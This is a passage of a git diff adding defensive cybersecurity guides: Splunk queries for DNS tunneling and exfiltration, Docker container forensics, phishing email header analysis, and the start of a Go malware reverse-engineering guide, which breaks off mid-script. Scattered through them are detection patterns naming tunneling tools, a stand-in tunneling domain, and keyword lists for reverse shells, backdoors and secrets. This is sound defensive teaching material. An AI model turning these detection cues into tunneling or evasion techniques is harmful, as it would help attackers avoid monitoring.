txt_queries +| table src_ip, txt_queries, unique_txt_domains, suspicion +``` + +### Step 4: Detect Known DNS Tunneling Tools + +Search for signatures of common DNS tunneling tools: + +```spl +index=dns sourcetype="stream:dns" +| eval query_lower = lower(query) +| where ( + match(query_lower, "\.dnscat\.") OR + match(query_lower, "\.dns2tcp\.") OR + match(query_lower, "\.iodine\.") OR + match(query_lower, "\.dnscapy\.") OR + match(query_lower, "\.cobalt.*\.beacon") OR + query_type="NULL" OR + (query_type="TXT" AND len(query) > 100) + ) +| stats count by src_ip, query, query_type +| sort - count +``` + +**Detect DNS over HTTPS (DoH) bypassing local DNS:** + +```spl +index=proxy OR index=firewall +dest IN ("1.1.1.1", "1.0.0.1", "8.8.8.8", "8.8.4.4", + "9.9.9.9", "149.112.112.112", "208.67.222.222") +dest_port=443 +| stats sum(bytes_out) AS total_bytes, count AS connections by src_ip, dest +| where connections > 100 OR total_bytes > 10485760 +| eval alert = "Possible DoH bypass — DNS queries sent over HTTPS to public resolver" +| sort - total_bytes +``` + +### Step 5: Correlate DNS Findings with Endpoint Data + +Cross-reference suspicious DNS with process data: + +```spl +index=dns src_ip="192.168.1.105" query="*.evil-tunnel.com" earliest=-24h +| stats count AS dns_queries, earliest(_time) AS first_query, latest(_time) AS last_query + by src_ip, query +| join src_ip [ + search index=sysmon EventCode=3 DestinationPort=53 Computer="WORKSTATION-042" + | stats count AS connections, values(Image) AS processes by SourceIp + | rename SourceIp AS src_ip + ] +| table src_ip, query, dns_queries, first_query, last_query, processes +``` + +### Step 6: Calculate Data Exfiltration Volume Estimate + +Estimate data volume encoded in DNS queries: + +```spl +index=dns src_ip="192.168.1.105" query="*.evil-tunnel.com" earliest=-24h +| eval domain_parts = split(query, ".") +| eval encoded_data = mvindex(domain_parts, 0) +| eval encoded_bytes = len(encoded_data) +| eval decoded_bytes = encoded_bytes * 0.75 -- Base64 decoding factor +| stats sum(decoded_bytes) AS total_bytes_estimated, count AS total_queries, + earliest(_time) AS first_seen, latest(_time) AS last_seen +| eval estimated_kb = round(total_bytes_estimated / 1024, 1) +| eval estimated_mb = round(total_bytes_estimated / 1048576, 2) +| eval duration_hours = round((last_seen - first_seen) / 3600, 1) +| eval rate_kbps = round(estimated_kb / (duration_hours * 3600) * 8, 2) +| table total_queries, estimated_mb, duration_hours, rate_kbps, first_seen, last_seen +``` + +## Key Concepts + +| Term | Definition | +|------|-----------| +| **DNS Tunneling** | Technique encoding data within DNS queries/responses to exfiltrate data or establish C2 channels through DNS | +| **DGA** | Domain Generation Algorithm — malware technique generating pseudo-random domain names for C2 resilience | +| **Shannon Entropy** | Mathematical measure of randomness in a string — high entropy (>3.5) in domain names indicates DGA or tunneling | +| **TXT Record Abuse** | Using DNS TXT records (designed for text data) as a high-bandwidth channel for data tunneling | +| **DNS over HTTPS (DoH)** | DNS queries encrypted over HTTPS (port 443), bypassing traditional DNS monitoring | +| **Passive DNS** | Historical record of DNS resolutions showing which IPs a domain resolved to over time | + +## Tools & Systems + +- **Splunk Stream**: Network traffic capture add-on providing parsed DNS query data for SIEM analysis +- **Zeek (Bro)**: Network security monitor generating detailed DNS transaction logs for analysis +- **Cisco Umbrella (OpenDNS)**: Cloud DNS security platform blocking malicious domains and logging query data +- **Infoblox DNS Firewall**: DNS-layer security providing RPZ-based blocking and detailed query logging +- **Farsight DNSDB**: Passive DNS database for historical domain resolution lookups and infrastructure mapping + +## Common Scenarios + +- **Cobalt Strike DNS Beacon**: Detect periodic TXT queries with encoded payloads to C2 domain +- **Data Exfiltration**: Large volumes of unique subdomain queries encoding stolen data in Base64/hex +- **DGA Malware**: Detect DNS queries to algorithmically generated domains (high entropy, no web content) +- **DNS-over-HTTPS Bypass**: Employee using DoH to bypass corporate DNS filtering and monitoring +- **Slow Drip Exfiltration**: Low-volume DNS tunneling staying below threshold alerts (requires baseline comparison) + +## Output Format + +``` +DNS EXFILTRATION ANALYSIS — WORKSTATION-042 +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +Period: 2024-03-14 to 2024-03-15 +Source: 192.168.1.105 (WORKSTATION-042, Finance Dept) + +Findings: + [CRITICAL] DNS tunneling detected to evil-tunnel[.]com + Query Volume: 12,847 queries in 18 hours + Avg Subdomain Len: 63 characters (normal: <20) + Avg Entropy: 3.82 (threshold: 3.5) + Query Types: TXT (89%), A (11%) + Estimated Data: ~4.7 MB exfiltrated via DNS + Rate: 0.58 kbps (slow drip pattern) + + [HIGH] DGA-like domains resolved + Unique DGA Domains: 247 domains resolved + Pattern: 15-char random alphanumeric.xyz TLD + Entropy Range: 3.6 - 4.1 + +Process Attribution: + Process: svchost_update.exe (masquerading — not legitimate svchost) + PID: 4892 + Parent: explorer.exe + Hash: SHA256: a1b2c3d4... (VT: 34/72 malicious — Cobalt Strike beacon) + +Containment: + [DONE] Host isolated via EDR + [DONE] Domain evil-tunnel[.]com added to DNS sinkhole + [DONE] Incident IR-2024-0448 created +``` diff --git a/skills/analyzing-docker-container-forensics/SKILL.md b/skills/analyzing-docker-container-forensics/SKILL.md new file mode 100644 index 00000000..e3a7f9e4 --- /dev/null +++ b/skills/analyzing-docker-container-forensics/SKILL.md @@ -0,0 +1,329 @@ +--- +name: analyzing-docker-container-forensics +description: Investigate compromised Docker containers by analyzing images, layers, volumes, logs, and runtime artifacts to identify malicious activity and evidence. +domain: cybersecurity +subdomain: digital-forensics +tags: [forensics, docker, container-forensics, container-security, image-analysis, runtime-investigation] +version: "1.0" +author: mahipal +license: MIT +--- + +# Analyzing Docker Container Forensics + +## When to Use +- When investigating a compromised Docker container or container host +- For analyzing malicious Docker images pulled from registries +- During incident response involving containerized application breaches +- When examining container escape attempts or privilege escalation +- For auditing container configurations and identifying misconfigurations + +## Prerequisites +- Docker CLI access on the forensic workstation +- Access to the Docker host file system (forensic image or live) +- Understanding of Docker layered file system (overlay2, aufs) +- dive, docker-explorer, or container-diff for image analysis +- Knowledge of Docker daemon configuration and socket security +- Trivy or Grype for vulnerability scanning of container images + +## Workflow + +### Step 1: Preserve Container State and Evidence + +```bash +# List all containers (including stopped) +docker ps -a --no-trunc > /cases/case-2024-001/docker/container_list.txt + +# Inspect the compromised container +CONTAINER_ID="abc123def456" +docker inspect $CONTAINER_ID > /cases/case-2024-001/docker/container_inspect.json + +# Export container filesystem as tarball (preserves current state) +docker export $CONTAINER_ID > /cases/case-2024-001/docker/container_export.tar + +# Create an image from the container's current state +docker commit $CONTAINER_ID forensic-evidence:case-2024-001 +docker save forensic-evidence:case-2024-001 > /cases/case-2024-001/docker/container_image.tar + +# Capture container logs +docker logs $CONTAINER_ID --timestamps > /cases/case-2024-001/docker/container_logs.txt 2>&1 + +# Capture running processes (if container is still running) +docker top $CONTAINER_ID > /cases/case-2024-001/docker/container_processes.txt + +# Capture network connections +docker exec $CONTAINER_ID netstat -tlnp 2>/dev/null > /cases/case-2024-001/docker/container_network.txt + +# Copy specific files from the container +docker cp $CONTAINER_ID:/var/log/ /cases/case-2024-001/docker/container_var_log/ +docker cp $CONTAINER_ID:/tmp/ /cases/case-2024-001/docker/container_tmp/ +docker cp $CONTAINER_ID:/etc/passwd /cases/case-2024-001/docker/container_passwd + +# Hash all exported evidence +sha256sum /cases/case-2024-001/docker/*.tar > /cases/case-2024-001/docker/evidence_hashes.txt +``` + +### Step 2: Analyze Container Image Layers + +```bash +# Install dive for image layer analysis +wget https://github.com/wagoodman/dive/releases/latest/download/dive_linux_amd64.deb +sudo dpkg -i dive_linux_amd64.deb + +# Analyze image layers interactively +dive forensic-evidence:case-2024-001 + +# Non-interactive layer analysis +dive forensic-evidence:case-2024-001 --ci --json /cases/case-2024-001/docker/dive_analysis.json + +# Extract and examine individual layers +mkdir -p /cases/case-2024-001/docker/layers/ +tar -xf /cases/case-2024-001/docker/container_image.tar -C /cases/case-2024-001/docker/layers/ + +# List the image manifest and layer order +cat /cases/case-2024-001/docker/layers/manifest.json | python3 -m json.tool + +# Examine each layer for changes +for layer in /cases/case-2024-001/docker/layers/*/layer.tar; do + echo "=== Layer: $(dirname $layer | xargs basename) ===" + tar -tf "$layer" | head -20 + echo "..." +done + +# Use container-diff to compare with original base image +# Install container-diff +curl -LO https://storage.googleapis.com/container-diff/latest/container-diff-linux-amd64 +chmod +x container-diff-linux-amd64 + +# Compare committed image with original +./container-diff-linux-amd64 diff daemon://nginx:latest daemon://forensic-evidence:case-2024-001 \ + --type=file --type=apt --type=history --json \ + > /cases/case-2024-001/docker/container_diff.json +``` + +### Step 3: Examine Docker Host Artifacts + +```bash +# Docker data directory (default: /var/lib/docker/) +DOCKER_ROOT="/mnt/evidence/var/lib/docker" + +# Examine overlay2 filesystem layers +ls -la $DOCKER_ROOT/overlay2/ + +# Find the container's merged filesystem +CONTAINER_HASH=$(docker inspect $CONTAINER_ID --format '{{.GraphDriver.Data.MergedDir}}' 2>/dev/null) +# Or manually from forensic image: +# Look in /var/lib/docker/containers//config.v2.json + +# Analyze container configuration files +cat $DOCKER_ROOT/containers/$CONTAINER_ID/config.v2.json | python3 -m json.tool \ + > /cases/case-2024-001/docker/container_config.json + +# Check Docker daemon configuration +cat /mnt/evidence/etc/docker/daemon.json 2>/dev/null > /cases/case-2024-001/docker/daemon_config.json + +# Examine Docker events log +cat $DOCKER_ROOT/containers/$CONTAINER_ID/*.log > /cases/case-2024-001/docker/container_json_logs.txt + +# Check for volume mounts (potential host filesystem access) +python3 << 'PYEOF' +import json + +with open('/cases/case-2024-001/docker/container_inspect.json') as f: + data = json.load(f) + +inspect = data[0] if isinstance(data, list) else data + +print("=== CONTAINER SECURITY ANALYSIS ===\n") + +# Check mounts +print("Volume Mounts:") +for mount in inspect.get('Mounts', []): + rw = "READ-WRITE" if mount.get('RW') else "READ-ONLY" + print(f" {mount.get('Source', 'N/A')} -> {mount.get('Destination', 'N/A')} ({rw})") + if mount.get('Source') in ('/', '/etc', '/var', '/root') and mount.get('RW'): + print(f" WARNING: Sensitive host path mounted read-write!") + +# Check privileged mode +host_config = inspect.get('HostConfig', {}) +if host_config.get('Privileged'): + print("\nWARNING: Container was running in PRIVILEGED mode!") + +# Check capabilities +cap_add = host_config.get('CapAdd', []) +if cap_add: + print(f"\nAdded Capabilities: {cap_add}") + dangerous_caps = ['SYS_ADMIN', 'SYS_PTRACE', 'NET_ADMIN', 'SYS_MODULE'] + for cap in cap_add: + if cap in dangerous_caps: + print(f" WARNING: Dangerous capability: {cap}") + +# Check PID namespace +if host_config.get('PidMode') == 'host': + print("\nWARNING: Container shares host PID namespace!") + +# Check network mode +if host_config.get('NetworkMode') == 'host': + print("\nWARNING: Container shares host network namespace!") + +# Check user +user = inspect.get('Config', {}).get('User', 'root (default)') +print(f"\nRunning as user: {user}") + +# Check environment variables for secrets +env_vars = inspect.get('Config', {}).get('Env', []) +print(f"\nEnvironment Variables: {len(env_vars)}") +for env in env_vars: + key = env.split('=')[0] + if any(s in key.upper() for s in ['PASSWORD', 'SECRET', 'KEY', 'TOKEN', 'CREDENTIAL']): + print(f" SENSITIVE: {key}=***REDACTED***") +PYEOF +``` + +### Step 4: Analyze Container File System Changes + +```bash +# Compare container filesystem to original image +docker diff $CONTAINER_ID > /cases/case-2024-001/docker/filesystem_changes.txt + +# A = Added, C = Changed, D = Deleted +# Analyze changes +python3 << 'PYEOF' +added = [] +changed = [] +deleted = [] + +with open('/cases/case-2024-001/docker/filesystem_changes.txt') as f: + for line in f: + line = line.strip() + if line.startswith('A '): + added.append(line[2:]) + elif line.startswith('C '): + changed.append(line[2:]) + elif line.startswith('D '): + deleted.append(line[2:]) + +print(f"Files Added: {len(added)}") +print(f"Files Changed: {len(changed)}") +print(f"Files Deleted: {len(deleted)}") + +# Flag suspicious additions +suspicious = [f for f in added if any(s in f for s in + ['/tmp/', '/dev/shm/', '/root/', '.sh', '.py', '.elf', 'reverse', 'shell', 'backdoor'])] +if suspicious: + print(f"\nSuspicious Added Files:") + for f in suspicious: + print(f" {f}") + +# Flag suspicious changes +sus_changed = [f for f in changed if any(s in f for s in + ['/etc/passwd', '/etc/shadow', '/etc/crontab', '/etc/ssh', '.bashrc'])] +if sus_changed: + print(f"\nSuspicious Changed Files:") + for f in sus_changed: + print(f" {f}") +PYEOF + +# Extract and examine the container export +mkdir -p /cases/case-2024-001/docker/container_fs/ +tar -xf /cases/case-2024-001/docker/container_export.tar -C /cases/case-2024-001/docker/container_fs/ + +# Scan for webshells and malicious files +find /cases/case-2024-001/docker/container_fs/tmp/ -type f -exec file {} \; +find /cases/case-2024-001/docker/container_fs/ -name "*.php" -newer /cases/case-2024-001/docker/container_fs/etc/hostname +``` + +### Step 5: Scan for Vulnerabilities and Generate Report + +```bash +# Scan the image for known vulnerabilities +trivy image forensic-evidence:case-2024-001 \ + --format json \ + --output /cases/case-2024-001/docker/vulnerability_scan.json + +# Scan the exported filesystem +trivy fs /cases/case-2024-001/docker/container_fs/ \ + --format table \ + --output /cases/case-2024-001/docker/fs_vulnerabilities.txt + +# Check for secrets in the image +trivy image forensic-evidence:case-2024-001 \ + --scanners secret \ + --format json \ + --output /cases/case-2024-001/docker/secrets_scan.json +``` + +## Key Concepts + +| Concept | Description | +|---------|-------------| +| Image layers | Read-only filesystem layers stacked to form the container image | +| overlay2 | Default Docker storage driver using union filesystem for layers | +| Container diff | Comparison of runtime filesystem changes against the original image | +| Privileged mode | Container with full host capabilities (bypasses most isolation) | +| Docker socket | Unix socket (/var/run/docker.sock) controlling the Docker daemon | +| Container escape | Technique for breaking out of container isolation to the host | +| Volume mounts | Host filesystem paths made accessible inside the container | +| Image history | Record of Dockerfile instructions used to build each layer | + +## Tools & Systems + +| Tool | Purpose | +|------|---------| +| docker inspect | Detailed container configuration and state information | +| docker diff | Show filesystem changes made in a running/stopped container | +| dive | Interactive Docker image layer analysis tool | +| container-diff | Google tool for comparing container image contents | +| Trivy | Vulnerability scanner for container images and filesystems | +| docker-explorer | Forensic tool for offline Docker artifact analysis | +| Sysdig | Container runtime security monitoring and forensics | +| Falco | Runtime threat detection for containers and Kubernetes | + +## Common Scenarios + +**Scenario 1: Web Application Container Compromise** +Export the container filesystem, identify webshells in web root, analyze access logs for exploitation attempts, check for added files and modified configurations, examine network connections for C2 communication, review container capabilities for escalation paths. + +**Scenario 2: Supply Chain Attack via Malicious Image** +Analyze image layers with dive to identify which layer added malicious content, compare with the official base image using container-diff, check image history for suspicious RUN commands, scan for embedded backdoors and cryptocurrency miners, trace the image pull from registry logs. + +**Scenario 3: Container Escape Investigation** +Check if container ran privileged or with dangerous capabilities, examine host filesystem mount points for unauthorized access, review Docker socket mount enabling Docker-in-Docker abuse, analyze host system logs for container escape indicators, check for kernel exploit artifacts. + +**Scenario 4: Cryptojacking in Container Environment** +Identify high-CPU containers, export and analyze the container image for mining binaries, check for unauthorized images in the registry, review container creation events for rogue deployments, examine network connections for mining pool communications. + +## Output Format + +``` +Docker Container Forensics Summary: + Container: abc123def456 (nginx-app) + Image: company/web-app:v2.1 + Status: Running (started 2024-01-10 09:00 UTC) + Host: docker-host-01.corp.local + + Security Configuration: + Privileged: No + Capabilities Added: NET_ADMIN (WARNING) + Volume Mounts: /var/log -> /host-logs (RW) + Network Mode: bridge + User: root (WARNING) + + Filesystem Changes: + Added: 23 files (5 suspicious) + Changed: 12 files (2 suspicious) + Deleted: 0 files + + Suspicious Findings: + /tmp/reverse.sh - Reverse shell script (Added) + /var/www/html/.hidden/shell.php - PHP webshell (Added) + /etc/crontab - Modified (persistence cron entry added) + /root/.ssh/authorized_keys - Modified (unauthorized key added) + + Vulnerability Scan: + Critical: 3 (CVE-2024-xxxx in base image) + High: 12 + Medium: 34 + + Evidence: /cases/case-2024-001/docker/ +``` diff --git a/skills/analyzing-email-headers-for-phishing-investigation/SKILL.md b/skills/analyzing-email-headers-for-phishing-investigation/SKILL.md new file mode 100644 index 00000000..258ec5a9 --- /dev/null +++ b/skills/analyzing-email-headers-for-phishing-investigation/SKILL.md @@ -0,0 +1,312 @@ +--- +name: analyzing-email-headers-for-phishing-investigation +description: Parse and analyze email headers to trace the origin of phishing emails, verify sender authenticity, and identify spoofing through SPF, DKIM, and DMARC validation. +domain: cybersecurity +subdomain: digital-forensics +tags: [forensics, email-analysis, phishing, spf, dkim, dmarc, header-analysis] +version: "1.0" +author: mahipal +license: MIT +--- + +# Analyzing Email Headers for Phishing Investigation + +## When to Use +- When investigating a suspected phishing email to determine its true origin +- For verifying sender authenticity and detecting email spoofing +- During incident response when a user has clicked a phishing link +- When tracing the delivery path and relay servers of a suspicious email +- For validating SPF, DKIM, and DMARC alignment to identify forgery + +## Prerequisites +- Raw email headers from the suspicious message (EML or MSG format) +- Understanding of SMTP protocol and email header fields +- Access to DNS lookup tools (dig, nslookup) for SPF/DKIM/DMARC verification +- Email header analysis tools (MHA, emailheaders.net concepts) +- Python with email parsing libraries for automated analysis +- Access to threat intelligence platforms for IP/domain reputation + +## Workflow + +### Step 1: Extract Raw Email Headers + +```bash +# Export from Outlook: Open email > File > Properties > Internet Headers +# Export from Gmail: Open email > Three dots > Show original +# Export from Thunderbird: View > Message Source + +# If working with EML file from forensic image +cp /mnt/evidence/Users/suspect/AppData/Local/Microsoft/Outlook/phishing_email.eml \ + /cases/case-2024-001/email/ + +# If working with PST file, extract individual messages +pip install pypff +python3 << 'PYEOF' +import pypff + +pst = pypff.file() +pst.open("/cases/case-2024-001/email/outlook.pst") +root = pst.get_root_folder() + +def extract_messages(folder, path=""): + for i in range(folder.get_number_of_sub_messages()): + msg = folder.get_sub_message(i) + headers = msg.get_transport_headers() + subject = msg.get_subject() + if headers: + filename = f"/cases/case-2024-001/email/msg_{i}_{subject[:30]}.txt" + with open(filename, 'w') as f: + f.write(headers) + for i in range(folder.get_number_of_sub_folders()): + extract_messages(folder.get_sub_folder(i)) + +extract_messages(root) +PYEOF +``` + +### Step 2: Parse the Email Header Chain + +```bash +# Parse headers using Python email library +python3 << 'PYEOF' +import email +from email import policy + +with open('/cases/case-2024-001/email/phishing_email.eml', 'r') as f: + msg = email.message_from_file(f, policy=policy.default) + +print("=== KEY HEADER FIELDS ===") +print(f"From: {msg['From']}") +print(f"To: {msg['To']}") +print(f"Subject: {msg['Subject']}") +print(f"Date: {msg['Date']}") +print(f"Message-ID: {msg['Message-ID']}") +print(f"Reply-To: {msg['Reply-To']}") +print(f"Return-Path: {msg['Return-Path']}") +print(f"X-Mailer: {msg['X-Mailer']}") +print(f"X-Originating-IP: {msg['X-Originating-IP']}") + +print("\n=== RECEIVED HEADERS (bottom-up = chronological) ===") +received_headers = msg.get_all('Received') +if received_headers: + for i, header in enumerate(reversed(received_headers)): + print(f"\nHop {i+1}: {header.strip()}") + +print("\n=== AUTHENTICATION RESULTS ===") +auth_results = msg.get_all('Authentication-Results') +if auth_results: + for result in auth_results: + print(result) + +print(f"\nARC-Authentication-Results: {msg.get('ARC-Authentication-Results', 'Not present')}") +print(f"Received-SPF: {msg.get('Received-SPF', 'Not present')}") +print(f"DKIM-Signature: {msg.get('DKIM-Signature', 'Not present')}") +PYEOF +``` + +### Step 3: Validate SPF, DKIM, and DMARC Records + +```bash +# Extract the envelope sender domain +SENDER_DOMAIN="example-corp.com" + +# Check SPF record +dig TXT $SENDER_DOMAIN +short | grep "v=spf1" +# Example: "v=spf1 include:_spf.google.com include:sendgrid.net ~all" + +# Check DKIM record (selector from DKIM-Signature header, e.g., "s=selector1") +DKIM_SELECTOR="selector1" +dig TXT ${DKIM_SELECTOR}._domainkey.${SENDER_DOMAIN} +short + +# Check DMARC record +dig TXT _dmarc.${SENDER_DOMAIN} +short +# Example: "v=DMARC1; p=reject; rua=mailto:dmarc@example-corp.com; pct=100" + +# Verify the sending IP against SPF +# Extract IP from first Received header +SENDING_IP="203.0.113.45" + +# Manual SPF check using python +python3 << 'PYEOF' +import spf # pip install pyspf + +result, explanation = spf.check2( + i='203.0.113.45', + s='sender@example-corp.com', + h='mail.example-corp.com' +) +print(f"SPF Result: {result}") +print(f"Explanation: {explanation}") +# Results: pass, fail, softfail, neutral, none, temperror, permerror +PYEOF + +# Check if sending IP is in known malicious IP lists +# Query AbuseIPDB or VirusTotal +curl -s "https://api.abuseipdb.com/api/v2/check?ipAddress=${SENDING_IP}" \ + -H "Key: YOUR_API_KEY" -H "Accept: application/json" | python3 -m json.tool +``` + +### Step 4: Analyze Sender Domain and Infrastructure + +```bash +# WHOIS lookup on sender domain +whois $SENDER_DOMAIN | grep -iE '(registrar|creation|expiration|registrant|nameserver)' + +# Check domain age (recently registered domains are suspicious) +# DNS record investigation +dig A $SENDER_DOMAIN +short +dig MX $SENDER_DOMAIN +short +dig NS $SENDER_DOMAIN +short + +# Reverse DNS on sending IP +dig -x $SENDING_IP +short + +# Check for lookalike/typosquatting domains +# Compare with legitimate domain using visual similarity +python3 << 'PYEOF' +import Levenshtein # pip install python-Levenshtein + +legitimate = "microsoft.com" +suspicious = "micr0soft.com" + +distance = Levenshtein.distance(legitimate, suspicious) +ratio = Levenshtein.ratio(legitimate, suspicious) +print(f"Edit distance: {distance}") +print(f"Similarity ratio: {ratio:.2%}") +if ratio > 0.8: + print("WARNING: Likely typosquatting/lookalike domain!") +PYEOF + +# Check domain reputation on VirusTotal +curl -s "https://www.virustotal.com/api/v3/domains/${SENDER_DOMAIN}" \ + -H "x-apikey: YOUR_VT_API_KEY" | python3 -m json.tool + +# Check if the Reply-To differs from From (common phishing indicator) +python3 -c " +import email +with open('/cases/case-2024-001/email/phishing_email.eml') as f: + msg = email.message_from_file(f) +from_addr = email.utils.parseaddr(msg['From'])[1] +reply_to = email.utils.parseaddr(msg.get('Reply-To', msg['From']))[1] +if from_addr != reply_to: + print(f'WARNING: From ({from_addr}) != Reply-To ({reply_to})') +else: + print('From and Reply-To match') +" +``` + +### Step 5: Examine Email Body and Attachments + +```bash +# Extract URLs from email body +python3 << 'PYEOF' +import email +import re +from email import policy + +with open('/cases/case-2024-001/email/phishing_email.eml', 'r') as f: + msg = email.message_from_file(f, policy=policy.default) + +body = msg.get_body(preferencelist=('html', 'plain')) +if body: + content = body.get_content() + urls = re.findall(r'https?://[^\s<>"\']+', content) + print("=== URLs FOUND IN EMAIL BODY ===") + for url in set(urls): + print(f" {url}") + + # Check for URL obfuscation (display text != href) + href_pattern = re.findall(r']*href=["\']([^"\']+)["\'][^>]*>(.*?)', content, re.DOTALL) + print("\n=== HYPERLINK ANALYSIS ===") + for href, text in href_pattern: + display_url = re.findall(r'https?://[^\s<]+', text) + if display_url and display_url[0] != href: + print(f" MISMATCH: Display='{display_url[0]}' -> Actual='{href}'") + +# Extract and hash attachments +print("\n=== ATTACHMENTS ===") +for part in msg.walk(): + if part.get_content_disposition() == 'attachment': + filename = part.get_filename() + content = part.get_payload(decode=True) + import hashlib + sha256 = hashlib.sha256(content).hexdigest() + print(f" File: {filename}, Size: {len(content)}, SHA-256: {sha256}") + with open(f'/cases/case-2024-001/email/attachments/{filename}', 'wb') as af: + af.write(content) +PYEOF + +# Submit attachment hashes to VirusTotal +# Submit URLs to URLhaus or PhishTank for reputation check +``` + +## Key Concepts + +| Concept | Description | +|---------|-------------| +| SPF (Sender Policy Framework) | DNS record specifying authorized mail servers for a domain | +| DKIM (DomainKeys Identified Mail) | Cryptographic signature verifying email content integrity | +| DMARC | Policy framework combining SPF and DKIM for sender authentication | +| Received headers | Server-added headers showing each hop in the delivery chain (read bottom to top) | +| Return-Path | Envelope sender address used for bounce messages; may differ from From | +| Message-ID | Unique identifier assigned by the originating mail server | +| X-Originating-IP | Original sender IP address (added by some mail services) | +| Header forgery | Attackers can forge From, Reply-To, and other headers but not Received chains | + +## Tools & Systems + +| Tool | Purpose | +|------|---------| +| MXToolbox | Online email header analyzer and DNS lookup | +| dig/nslookup | DNS record queries for SPF, DKIM, DMARC verification | +| pyspf | Python SPF record validation library | +| dkimpy | Python DKIM signature verification library | +| PhishTool | Specialized phishing email analysis platform | +| VirusTotal | URL and file reputation checking service | +| AbuseIPDB | IP address reputation database | +| whois | Domain registration information lookup | + +## Common Scenarios + +**Scenario 1: CEO Fraud / Business Email Compromise** +The email claims to be from the CEO but Reply-To points to a Gmail address, SPF fails because the sending IP is not authorized for the spoofed domain, DKIM is missing, and the From domain is a lookalike (ceo-company.com vs company.com). + +**Scenario 2: Credential Harvesting Phishing** +Email contains a link that displays "login.microsoft.com" but href points to a lookalike domain, the attachment is an HTML file containing a fake login page with credential exfiltration JavaScript, the sending domain was registered 3 days ago. + +**Scenario 3: Malware Delivery via Attachment** +Email with an Office document attachment containing macros, the sender domain passes SPF but the account was compromised, DKIM signature is valid (sent from legitimate infrastructure), attachment SHA-256 matches known malware on VirusTotal. + +**Scenario 4: Spear Phishing with Legitimate Service** +Attacker uses a legitimate email marketing service to send phishing, SPF and DKIM pass because the service is authorized, the phishing is in the content not the infrastructure, requires URL and content analysis rather than header authentication checks. + +## Output Format + +``` +Email Header Analysis Report: + Subject: "Urgent: Invoice Payment Required" + From: accounting@examp1e-corp.com (SPOOFED) + Reply-To: payments.urgent@gmail.com (MISMATCH) + Return-Path: + Date: 2024-01-15 09:23:45 UTC + + Delivery Path (4 hops): + Hop 1: mail-server.xyz [203.0.113.45] -> relay1.isp.com + Hop 2: relay1.isp.com -> mx.target-company.com + Hop 3: mx.target-company.com -> internal-filter.target.com + Hop 4: internal-filter.target.com -> mailbox + + Authentication: + SPF: FAIL (203.0.113.45 not authorized for examp1e-corp.com) + DKIM: NONE (no signature present) + DMARC: FAIL (p=none, no enforcement) + + Indicators of Phishing: + - Lookalike domain (examp1e-corp.com vs example-corp.com, 96% similar) + - From/Reply-To mismatch + - Domain registered 2 days before email sent + - URL in body points to credential harvesting page + - Attachment: invoice.xlsm (SHA-256: a3f2...) - Known malware on VT + + Risk Level: HIGH +``` diff --git a/skills/analyzing-golang-malware-with-ghidra/SKILL.md b/skills/analyzing-golang-malware-with-ghidra/SKILL.md new file mode 100644 index 00000000..bbc7dc7a --- /dev/null +++ b/skills/analyzing-golang-malware-with-ghidra/SKILL.md @@ -0,0 +1,290 @@ +--- +name: analyzing-golang-malware-with-ghidra +description: Reverse engineer Go-compiled malware using Ghidra with specialized scripts for function recovery, string extraction, and type reconstruction in stripped Go binaries. +domain: cybersecurity +subdomain: malware-analysis +tags: [golang, ghidra, reverse-engineering, malware-analysis, binary-analysis, go-malware, disassembly] +version: "1.0" +author: mahipal +license: MIT +--- +# Analyzing Golang Malware with Ghidra + +## Overview + +Go (Golang) has become a popular language for malware authors due to its cross-compilation capabilities, static linking that produces self-contained binaries, and the complexity it introduces for reverse engineering. Go binaries contain the entire runtime, standard library, and all dependencies statically linked, resulting in large binaries (often 5-15MB) with thousands of functions. Ghidra struggles with Go-specific string formats (non-null-terminated), stripped function names, and goroutine concurrency patterns. Specialized tools like GoResolver (Volexity, 2025) use control-flow graph similarity to automatically deobfuscate and recover function names in stripped or obfuscated Go binaries. + +## Prerequisites + +- Ghidra 11.0+ with JDK 17+ +- GoResolver plugin (for function name recovery) +- Go Reverse Engineering Tool Kit (go-re.tk) +- Python 3.9+ for helper scripts +- Understanding of Go runtime internals (goroutines, channels, interfaces) +- Familiarity with Go binary structure (pclntab, moduledata, itab) + +## Key Concepts + +### Go Binary Structure + +Go binaries embed rich metadata in the `pclntab` (PC Line Table) structure, which maps program counters to function names, source files, and line numbers. Even stripped binaries retain this metadata. The `moduledata` structure contains pointers to type information, itabs (interface tables), and the pclntab itself. Go strings are stored as a pointer-length pair rather than null-terminated C strings. + +### Function Recovery in Stripped Binaries + +Despite stripping symbol tables, Go binaries retain function names within the pclntab. However, obfuscation tools like garble rename functions to random strings. GoResolver addresses this by computing control-flow graph signatures of obfuscated functions and matching them against a database of known Go standard library and third-party package functions. + +### Crate/Dependency Extraction + +Go's dependency management embeds module paths and version strings in the binary. Extracting these reveals the malware's third-party dependencies (HTTP libraries, encryption packages, C2 frameworks), which provides insight into capabilities without full reverse engineering. + +## Practical Steps + +### Step 1: Initial Binary Analysis + +```python +#!/usr/bin/env python3 +"""Analyze Go binary metadata for malware analysis.""" +import struct +import sys +import re + + +def find_go_build_info(data): + """Extract Go build information from binary.""" + # Go buildinfo magic: \xff Go buildinf: + magic = b'\xff Go buildinf:' + offset = data.find(magic) + if offset == -1: + return None + + print(f"[+] Go build info at offset 0x{offset:x}") + + # Extract Go version string nearby + go_version = re.search(rb'go\d+\.\d+(?:\.\d+)?', data[offset:offset+256]) + if go_version: + print(f" Go Version: {go_version.group().decode()}") + + return offset + + +def find_pclntab(data): + """Locate the pclntab (PC Line Table) structure.""" + # pclntab magic bytes vary by Go version + magics = { + b'\xfb\xff\xff\xff\x00\x00': "Go 1.2-1.15", + b'\xfa\xff\xff\xff\x00\x00': "Go 1.16-1.17", + b'\xf1\xff\xff\xff\x00\x00': "Go 1.18-1.19", + b'\xf0\xff\xff\xff\x00\x00': "Go 1.20+", + } + + for magic, version in magics.items(): + offset = data.find(magic) + if offset != -1: + print(f"[+] pclntab found at 0x{offset:x} ({version})") + return offset, version + + return None, None + + +def extract_function_names(data, pclntab_offset): + """Extract function names from pclntab.""" + if pclntab_offset is None: + return [] + + functions = [] + # Function name strings follow specific patterns + func_pattern = re.compile( + rb'(?:main|runtime|fmt|net|os|crypto|encoding|io|sync|' + rb'syscall|reflect|strings|bytes|path|time|math|sort|' + rb'github\.com|golang\.org)[/\.][\w/.]+', + ) + + for match in func_pattern.finditer(data): + name = match.group().decode('utf-8', errors='replace') + if len(name) > 4 and len(name) < 200: + functions.append(name) + + return sorted(set(functions)) + + +def extract_go_strings(data): + """Extract Go-style strings (pointer+length pairs).""" + # Go strings are not null-terminated; extract readable sequences + strings = [] + ascii_pattern = re.compile(rb'[\x20-\x7e]{10,}') + 